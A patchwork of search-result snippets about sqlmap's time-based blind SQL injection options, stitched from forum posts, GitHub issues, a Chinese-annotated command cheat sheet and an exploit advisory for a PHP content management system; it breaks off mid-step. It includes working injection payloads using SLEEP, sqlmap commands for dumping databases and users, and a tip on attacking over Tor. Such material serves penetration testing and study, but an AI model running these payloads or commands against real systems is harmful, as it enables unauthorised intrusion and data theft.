setting higher risk and level values increases the number of attempts with different added attacks on the parameter. You should start with medium values a.ka. level=2 risk=1..etc..and then increment if it doesn't work. As the other user pointed out...sqlmap is very noisy. In a some Databases ..it will actually leave behind all the attempts as entry into the table rows.

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It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the --time-sec option followed by an integer. By default it's value is set to 5 seconds.
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There are also cases where if sqlmap gets an invalid character it keeps on increasing and increasing until it has increased by 10 seconds, how can i set a limit as to how much it can increase? Like say if i set --time-sec=2 and i want the maximum time sec to increase by 2, to lead to --time-sec=4 ... More on github.com
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One more tip - when someone is using sqlmap over tor and want to test Time-dependent SQL injection, you must specify --time-sec= to atleast 4-5 seconds due the tor network speed. More on security.stackexchange.com
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Hello i have one target with time-based error. like this: Place: User-Agent Parameter: User-Agent Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: Mozilla/5.0... More on github.com
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python sqlmap.py -r req1.txt --random-agent --dbms=mysql --time-sec 10 -p username -v3 --tech=T --prefix="'" --suffix="--'" --tamper=between --dbs --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 5105 FROM (SELECT(SLEEP(10)))txIo)--' Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) --- # ------------ # 获取目标主机的hostname --hostname # ------------ # 获取当前"数据库"的名称 --current-db # 获取当前使用的"数据库用户" 用户名 --current-user # 判断当前"数据库用户"是否为DBA --is-dba # 获取全部"数据库"的名称 --dbs # 获取几乎全部"数据库"的名称,全部表的名称,全部字段 "字段名" "字段类型".
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August 14, 2014 - Hello i have one target with time-based error. like this: Place: User-Agent Parameter: User-Agent Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: Mozilla/5.0'||(SELECT 'eXxC' FROM DUAL WHERE 6215=6215 AN...
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June 23, 2021 -

while running:

~# sqlmap http://www.website.com/

When i use sqlmap there is an optimized value and takes forever to print out Databases and Tables

"do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]"

Anyone know how to fix this? or make it faster?

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December 17, 2020 - # Exploit Title: Content Management System 1.0 - 'id' SQL Injection # Exploit Author: Zhayi (Zeo) # Date: 2020-12-14 # Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP/MySQLi+with+Source+Code # Affected Version: Version 1 # Category: Web Application # Tested on: WINDOWS 10 Step 1. Capture the request of the " http://127.0.0.1/ajax.php?action=load_list" page in burpsute Step 2. Save POST the packet Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r request.txt --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast --dbs " Step 4.